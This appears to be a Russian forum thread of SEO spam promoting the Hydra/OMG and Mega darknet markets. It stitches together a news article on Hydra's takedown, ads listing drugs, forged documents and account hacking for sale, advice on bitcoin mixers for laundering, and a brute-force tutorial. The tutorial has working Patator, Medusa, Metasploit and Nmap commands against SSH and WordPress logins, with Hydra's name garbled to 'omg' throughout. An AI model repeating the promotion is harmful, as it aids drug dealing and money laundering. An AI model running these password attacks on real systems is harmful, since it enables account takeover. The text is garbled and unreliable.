Зеркало на гидру онион

Egaburo

Модератор
Подтвержденный
Сообщения
598
Реакции
49
Уважаемые пользователи RuTOR ,  Остерегайтесь фишинг сайтов и помните об уголовной ответственности за незаконные сделки.

 

MEGA - DARKNET MARKET

Благодаря хорошей подготовке и листингу на зарубежных сайтах площадка смогла составить конкуренцию в стабильности и доступности, чего не смогли ее конкуренты, но все же она уступает по полпулярности площадке OMG!OMG!

 

 

________________________
RUTOR — Главная торговая и информационная площадка в сети Tor.

правильная ссылка на mega, мега вход, mega ссылка, ссылка на мегу в тор, мега тор, мега через тор, ссылка на мегу онион, правильная ссылка на omg omg, ссылка на omgomg в тор, omg tor ссылка, ссылка вход в omgomg, омг сайт официальный настоящий, omg ссылка на сайт рабочая, актуальная ссылка на omgomg, официальная ссылка omg, настоящая ссылка на omgomg, вход в omgomg зеркало, омг онион ссылка зеркало, омг через зеркало, сайт омг в обход блокировки, ссылка на omgomg вход, рабочие зеркала omg, омг сайт onion, сайт омг оригинал, ссылка на сайт омг онион, правильная ссылка на гидра, hydra ссылка, ссылка на гидру в тор, гидра тор, hydra ссылка на сайт рабочая, настоящая ссылка на гидру, актуальная ссылка на hydra, официальная ссылка гидра, ссылка вход в hydra, вход на гидру зеркало
 








 


 

 

Lycikaz

Местный
Сообщения
60
Реакции
8
Зеркало на гидру онион
Безопасность Госрегулирование Бизнес Интернет E-commerce Веб-сервисы ТехникаНемецкие силовики остановили деятельность «Гидры» - самого известного русскоязычного даркнет-магазина по продаже наркотиков. Они выключили его серверы в Германии и изъяли крупную сумму в биткоинах. Расследование против «Гидры» длилось с августа 2021 г. при участии властей США.Немцы победили русскую «Гидру»Немецкие правоохранительные органы сообщили о закрытии сети серверов русскоязычного даркнет-маркета omg, расположенной на территории Германии. Разгромить сервис удалось специалистам Федерального управления уголовной полиции Германии.omg представляет собой крупнейший российский даркнет-рынок по торговле наркотиками. В российском сегменте интернета он широко известен под названием «ОМГ».Отключив серверы маркета, немецкие силовики также изъяли и крупную сумму в криптовалюте. По информации Управления, было конфисковано 543 биткоина. На 15:00 5 апреля 2022 г. по Москве это составляло около $25,347 млн (данные CoinDesk).Вернется ли «ОМГ» к работе после сокрушительного удара Германии, пока неизвестноПо данным следствия, «ОМГ» была нелегальной торговой площадкой с самым высоким оборотом в мире. За один только 2020 г. через нее были осуществлены продажи на общую сумму не менее 1,23 миллиарда евро. Часть денег «ОМГ» и ее пользователи выводили через специализированные криптообменники для отмывания криминальных денег, в том числе и через российский SUEX. Он был основан в 2018 г., и к сентябрю 2021 г. через него прошло более $20 млн от «Гидры». В сентябре 2021 г. Минфин США ввело против него санкции.Без немецких серверов «ОМГ» не живетВ операции против «Гидры» также принимали участие сотрудники Генпрокуратуры Франкфурта-на-Майне и Центрального управления Германии по борьбе с интернет-преступностью. На момент публикации материала не было известно, есть ли в распоряжении «Гидры» сеть серверов за пределами Германии, однако немецкие силовики утверждают, что их действия привели к полной остановке работы ресурса.По информации Telegram-канала Baza, доступ к ресурсу в даркнете действительно закрыт. Однако его владельцы утверждают, что это связано с некими техническими работами.США и Германия объединилисьОперация немецких силовиков – это итог расследования Германии, инициированного в августе 2021 г. Другими словами, на уничтожение столь крупного ресурса им потребовалось всего восемь месяцев.«Заглушка» на даркнет-сайте «Гидры»Однако нельзя не отметить, что в расследовании принимали участие и некоторые органы власти США. Это подтвердили представители Федерального управления уголовной полиции Германии, но как именно американская онион сторона повлияла на ход расследования, и кем именно она была представлена, они уточнять не стали.В итоге, после закрытия «Гидры» немецкие силовики приступили к следующей фазе операции. Они пытаются вычислить операторов и администраторов ресурса, чтобы предъявить им обвинения в распространении наркотиков и отмывании денег. На 5 марта 2022 г. их личности установлены не были.Пользователи под угрозой деанонимизацииКак показало германо-американское расследование, «ОМГ» функционировала в течение как минимум семи лет. Ресурс был доступен через сеть Tor, по меньшей мере, с 2015 omgpchela г. и занимался не только посредничеством при продаже наркотиков.Модуль «Управление уязвимостями» на платформе Security Vision: как выявить и устранить уязвимости в своей ИТ-инфраструктуреБезопасностьЧерез этот даркнет-сайт также велась продажа персональных данных и поддельных документов, говорится в сообщении немецких силовиков. В ходе расследования выяснилось, что на «Гидре» было зарегистрировано свыше 17 млн пользователей со всего земного шара. Продавцов тоже было немало – более 19 тыс.Пока неясно, смогли ли следователи получить доступ к информации, способной указать им на реальных владельцев пользовательских профилей на «Гидре».Из даркнета уходят крупнейшие игрокиЗакрытие «Гидры» стало третьим ощутимым ударом по даркнету с начала 2022 г. «Темная сторона» всемирной Паутины постепенно лишается действительно крупных представителей.В январе 2022 г. работу прекратил рынок Monopoly Market, торгующий наркотиками. В том же месяце о своем закрытии объявил даркнет-ресурс UniCC, занимавшийся продажей ворованных кредитных карт. На момент выхода из бизнеса он контролировал 30% рынка краденных карт в даркнете.Но, в отличие от «Гидры», UniCC закрылся не из-за действий властей. Владельцы заявили, что просто устали заниматься всем этим (проект был основан в 2013 г.), и что они просто «уже немолоды». Однако у аналитиков иная точка зрения. Они полагают, что создатели боялись преследования властей и хотели сбежать со средствами пользователей.Давление властей – весьма вероятная причина закрытия UniCC. В течение всего 2021 г. из-за него даркнет лишился целого ряда ресурсов. Например, в июне 2021 г. Федеральное бюро расследований (ФБР) совместно с правоохранительными органами Германии, Нидерландов и Румынии добилось закрытия веб-магазина Slipp, торгующего украденными учетными данными.В октябре 2021 г. прекратил существование проект White House Market, вдохновленный культовым сериалом «Во все тяжкие» (Breaking Bad). Как и «ОМГ», он был связан с продажей запрещенных веществ.Эльяс Касми

 
E

Evecoxif

Местный
Сообщения
60
Реакции
13
Рабочие зеркала помогают зайти на сайт ОМГ через обычный браузер в обход запретов и блокировки.ОМГ википедияТор ОМГ ссылкаomg онион тор браузерРабочее зеркало omgomg тор ссылка на моментальные магазины в тор браузереЗакладки с наркотиками повсюду, в джабере, в торе, в center web.Спам который вы так ждали: гашиш, героин, спайс, герыч, марихуана, спайс — все продается на официальном сайте площадки омг.omg wiki ссылкакак зайти на гидру без тор браузераомг мусорскаяомг шишкишишки бошки купитьомг не работаетомг не работаетomg торговая площадкаomg wiki ссылкаомг нарко сайткак зайти на гидру с компьютераomg shopадмин гидрыАстрахань, Новгород, Омск, Пермь, Омск, Саратов, Кемерово, Киев, Санкт-Петербург, Астрахань, Челябинск, Хабаровск, Нижний Новгород, вся РФ.Площадка omg omg — криптомаркет нового поколения.ОМГ ТORговая площадкаСсылки omgОМГ онион (магазин omg onion — уникальная торговая площадка в сети ТОР. Криптомаркет продает на всей территории РФ, Беларусии, Украины, Казахстана функционирует круглосуточно, 7 дней в неделю, круглосуточная онлайн-поддержка, гарант, автоматизированные продажи с опалтой qiwi или биткоин.ОМГ полностью безопасна и написана на современных языках программирования.Основная проблема при регистрации на гидре - это поиск правильной ссылки. Помимо тор ссылки, есть ссылка на зеркала без тора.Преимущества сайта магазина заключаются в том, что:ОМГ — самый удобный и безопасный криптомаркет для покупок товара;Интернет-магазин самый популярный в России, СНГ и за границей. Есть несколько главных отличий, в сравнении с другими сайтами, благодаря которым покупатели всегда выбирают только Гидру;Отсутствуют любые уязвимости в безопасности (по заявлению администрации omg центр);Вы можете завести свой биткоин кошелек, через обменник биткоина (qiwi в bitcoin);Сайт обладает лучшей системой приватности и анонимности. За все время работы площадки не было ни одной утечки личных данных пользователей сайта.Постоянно появляются новые инструменты, позволяющие действовать в сети анонимно.В результате возникли онион сайты (ссылки, находящиеся в доменной зоне onion).Из полезных конфигураций:не нужно ждать подтверждения транзакции в блокчейне;возможность быстро найти необходимый товар;покупки можно совершать моментально;пополнить баланс теперь можно даже через Сбербанк.пополнить баланс теперь можно даже через Сбербанк.оплата в битках и киви;Для смешивания битков юзайте блендер биткоиновbitmixerКак уже было отмечено, ОМГ – крупнейший центр нарко торговли в тор браузере. В этом маркетплейсе есть возможность купить то, что в открытом доступе купить критически сложно или невозможно. Каждый зарегистрированный покупатель может зайти в любой моментальный магазин и купить нелегальный товар, организовав его поставку в города РФ и страны СНГ. Покупка возможна в любое время суток из любой области. Особое преимущество данной площадки это частое обновление товаров магазинов.Выбрать и купить товар услугу не составит труда. Перед покупкой можно ознакомиться с настоящими отзывами покупателей. Поэтому посетитель сайта может заранее оценить качество будущей покупки и принять решение, нужен ему товар или все же от покупки стоит отказаться. Приемущество анонимного интернет-портала в наличии службы тайных покупателей. Они следят за тем, чтобы товары, которые представлены в магазинах соответствовали заявленным требованиям и даже делают в частных случаях химический анализ предлагаемых веществ. Если по каким-то причинам находится несоответствие качеству товара, товар немедленно снимают с продажи, магазин закрывают, продавец получает штраф.Доставку товара можно заказать в любой регион Страны и СНГ, указав адрес, где будет удобно забрать товар. Покупка передается в виде прикопа. После того, как покупатель подтвердит покупку, удостоверится в качестве продукта продавец получает свои деньги. Если с качеством или доставкой в результате покупки возникли проблемы, покупатель имеет право инициировать спор, к которому сразу присоединятся независимые модераторы Гидры. Оплата реагентов производится в крипте, и в большинстве случаев продавцы предпочитают принимать оплату биткоинами. Однако некоторые магазины готовы принять оплату рублями через КИВИ кошелек. Администраторы портала советуют производить оплату криптой, так как это самый безопасный способ расчетов, который также позволяет сохранить анонимность проводимых сделок.Что такое Тор браузер и зачем он необходимTOR — это частная разработка, которая позволяет ананимизировать личность пользователя в сети интернет. Расшифровывается TOR как The Onion Router — луковый маршрутизатор.Тор изначально был военным проектом США, но в скором времени его открыли для спонсоров, и теперь он называется Tor Project. Основная идея этой технологии — обеспечение безопасности и анонимности в сети, где большинство участников не доверяют друг другу. Смысл этой сети в том, что трафик проходит через несколько компьютеров, шифруются, у них меняется IP-адрес и вы получаете защищённый канал передачи данных.Что точно необходимо учитывать при работе с Гидрой?От не добросовестных сделок с моментальными магазинами при посещении портала не застрахован ни один покупатель.В связи с этим сотрудники портала советуют:обращать внимание на отзывы. Мнение покупателей это важнейший критерий покупки. Мнения могут повлиять на окончательное решение о покупке товара или вещества. Благодаря оставленным комментариям можно узнать о качестве товара, способах доставки и других особенностях сотрудничества с магазином;подтверждать покупку только после того, как будет подтверждено ее качество. Если появились проблемы, а подтверждение уже сделано, в этом случае деньги не удастся вернуть;оставлять отзывы после покупок. Это поможет другим покупателям сделать правильный выбор и не ошибиться при выборе товара;придумывать только новые пароли и логины для каждого пользователя перед регистрацией. Главное, чтобы пароли и логины, не были ранее задействованные на других ресурсах. Это позволит соблюсти анонимность;Стоит заметить, что переодически домен Гидры обновляется ее создателями. Дело в том, что сайт практически каждый день блочат, и пользователю в результате не удается войти на площадку, не зная рабочих ссылок. Чтобы избежать подобной проблемы, администрация портала советует добавить официальную ссылку Гидры в закладки. Сохрани все ссылки себе на сайт и делись ими со своими друзьями.Потенциальный пользователь должен зарегистрироваться для того, чтобы пользоваться всеми возможностями omg.Когда модератор одобрит регистрацию пользователя, он получит доступ к правилам пользования площадки. Также в ближайшее время он получит возможность пополнить баланс аккаунта, чтобы тут же приступить к покупкам.Пополнение баланса на криптомаркета ОМГ заслуживает отдельного внимания. Дело в том, что для поплнения кошелька стандартной валюты площадки – bitcoin – требуется сначала купить фиат, который сразу нужно будет обменять на крипту. Купить его можно либо на бирже, либо в специальном обменнике.Когда фиат будет куплен и обменен на необходимое количество биткоинов, останется перевести деньги в системе. Чтобы это сделать, нужно скопировать адрес биткоин кошелька, который был выдан при регистрации, и отправить на него нужную сумму с помощью использования различных платежных систем (например, КИВИ). Также обмен на биткоин может быть реализован на самой площадке в специальном разделе «обмен».Как не попасть на фейк мошенниковДля защиты от обманных сайтов, была разработана сеть бесперебойных зеркал.Чтобы не попасть на фейковые сайты сохраните ссылку зеркала на этот сайт в закладки. Скопируйте все рабочие зеркала с этого сайта к себе на компьютер так как Роскомнадзор может удалить сайт.
Зеркало на гидру онион
 
Z

Zyzax

Юзер
Сообщения
64
Реакции
0
Omg shop — магазин моментальных покупокОМГ онион (omg onion) — это самая популярная площадка запрещенных товаров в «черной» сети (Draknet). Данный магазин в основном ведет свою деятельность в Tor browser, так как он является безопасным браузером и всвязи с тем, что товар которым торгуют на omg shop является незаконным, данный браузер идеально к нему подходит. Tor browser работает через vpn постоянно, поэтому это позволяет сохранять полную анонимность для каждого пользователя сайта омг. Также, на сайте работает двухфакторное шифрование, для тех кто не хочет разбираться с тор браузером. С обычного браузера вы тоже можете попасть и с помощью алгоритмов защиты, вы останетесь незаметным, но для полной конфиденциальности рекомендуем использовать Tor.ОМГ полностью безопасна, они тщательно относятся к конфиденциальности каждого клиента, основная проблема omg shop является то, что проблематично найти официальную ссылку сайта омг, для этого вы публикуем зеркала на сайт омг, которые мы рекомендуем вам сохранить к себе в избранное.Официальные зеркала для обычных браузеровСсылки омг онион для тор браузераМагазин моментальных покупок постоянно прогрессирует и уже сегодня омг работает по таким странам: Россия, Беларусь, Украины, Казахстана. Мы расширяемся и планируем расти дальше.Популярные города: Краснодар, Санкт-Петербург, Минск, Казань, Астрахань, Томск, Астана, Пермь, Киев, Харьков, Москва, Ростов-на-Дону, Иркутск, Тамбов, Нурсултан, Красноярск, Владивосток.Темный магазин работает по принципы автоматических продаж, вы можете приобрести то, что пожелаете в любое время суток и не нужно ждать продавца.
Есть гарант продаж, в виде того, что продавец не получить оплаченные вами средства, пока вы лично не подтвердите «наход» закладки. На omg работает техническая поддержка круглосуточно, поэтому по всем интересующим вопросам на тему Гидры, вы можете обратиться к ним. Вам обязательно помогут и в случае если у вас какие-то проблемы с «находом» или вы считаете, что вам продали товар плохого качества — напишите в тех поддержку, они решат ваш спор и предложат варианты развития данной ситуации.Первые покупки на сайте омгСайт ОМГ работает через такую валюту как — биткоин. Для того чтобы перейти к покупкам вам необходимо пройти короткую регистрацию и пополнить свой личный счет криптовалютой. Одной из особенностей является то, что переводу для гидры не требует подтверждения blockchain.В «темном магазине», вы можете приобрести: траву, бошки, шишки, мефедрон, гашиш, амфетамин, лсд, мдма, кокс, экстази, омгпоника и многое другое. omg ещё предлагает своим клиента различные запрещенные услуги, по типу: подделка документов, взлом почты, соц. сетей и тому подобное.Также, из-за того, что мы постоянно растем, уже сегодня мы можем предложить вам уникальную возможность выбрать район в котором будет сделан клад. Вы можете использовать данную функцию в целях удобства или же наоборот, отведения внимания, заказ товар в другом районе, выбирать вам.Для пополнения личного счета аккаунта на гидре, мы рекомендуем вам использовать «чистые» криптомонеты, чтобы повысить процент анонимности и вас никто не смог отследить, мы рекомендуем сервис по очистке биткоинов, биткоин миксер — BitMix.Это популярный сервис в даркнете, у него огромный опыт работы с клиентами и большой резерв криптовалюты.Данная прачечная биткоинов, также работает в черной сети и базируется в Tor браузере, но есть ссылки и для обычных браузеров, мы с вами поделимся ссылками данного сервиса, чтобы вы смогли как следует позаботиться о своей анонимности.Для вас существует такой сайт как «Рейтинг биткоин миксеров — Топ 10 миксеры криптовалюты», в котором расположен рейтинг всех популярных и надежных биткоин миксеров, в виде топа сервисов по очистке криптовалюты. А также отзывы и обзор биткоин миксеров, принцип их работы, их плюсы и минусыТеги: Биткоин миксер, топ биткоин миксеров, рейтинг миксеры криптовалюты, отмывка криптовалюты, очистка биткоинов, bitcoin mixer, bitcoin tumbler, bitcoin blender, clean tainted bitcoins, best bitcoin mixer, bitcoin mixing service with lowest feeОфициальный сайт омг 2021Хотим предупредить вас о том, что в сети полно фейков сайта омг, поэтому пользуйтесь только официальными ссылками на омг магазин. Также, проверяйте правильность адресов, тем более при пополнении счета. Это сегодня самый актуальный вопрос для нас, будьте осторожны.Бывает ещё так, что наши сайты недоступны и возможно находятся под атакой злоумышленников, в таком случае вы можете просто перейти на зеркало веб-сайта ОМГ.Сохраните данный список к себе в избранное и удачных покупок, проверяйте url адреса и будьте внимательнее.
 

Ehoxity

Юзер
Сообщения
101
Реакции
18
Omg onion официальные зеркалаOtujaxusДля покупок на omg используются Bitcoin. Для регистрации на гидре достаточно нажать на кнопку «Регистрация»  в правом верхнем углу  сайта omg. ОМГ полностью безопасна, они тщательно относятся к конфиденциальности каждого клиента, основная проблема omg shop является то, что проблематично найти официальную ссылку сайта…
 

Ejoho

Юзер
Сообщения
94
Реакции
8
Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, omg, Metasploit), а также BurpSuite.

Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.

Brute-force SSH
Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.
Patator
Для подбора пароля средствами Patator используем команду:patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
omg
Для подбора пароля используя omg выполним команду:omg -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы
Medusa
Для подбора пароля с использованием Medusa выполним команду:medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6где:
-h – IP-адрес жертвы
-u – логин
-P – путь к словарю
-M – выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:Задействуем модуль:use auxiliary/scanner/ssh/ssh_loginДля просмотра необходимых параметров, воспользуемся командой show options. Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоковУказание необходимых параметров производится через команду "set".set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22Указав необходимые параметры набираем команду "run" и ждем.Противодействие
Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset.Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.Brute-force WordPress
Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.Для примера будем подбирать пароль от учетной записи администратора wordpress.
BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.Загружаем необходимый словарь и начинаем атаку.Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.Данный метод перебора занимает намного больше времени, чем при использовании Patator, omg, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.
omg
Попробуем подобрать пароль с помощью omg.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:omg -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас POST.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться omg. В нашем случае, ответ 302 при успешной авторизации.
Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с omg:
Запуск производится командой:patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в POST запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.
Nmap
Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
--script-args – добавление аргументов
user или userdb – логин или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароляnmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'Противодействие
Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

и задействовать ее:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).Заключение
В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
 
Сверху Снизу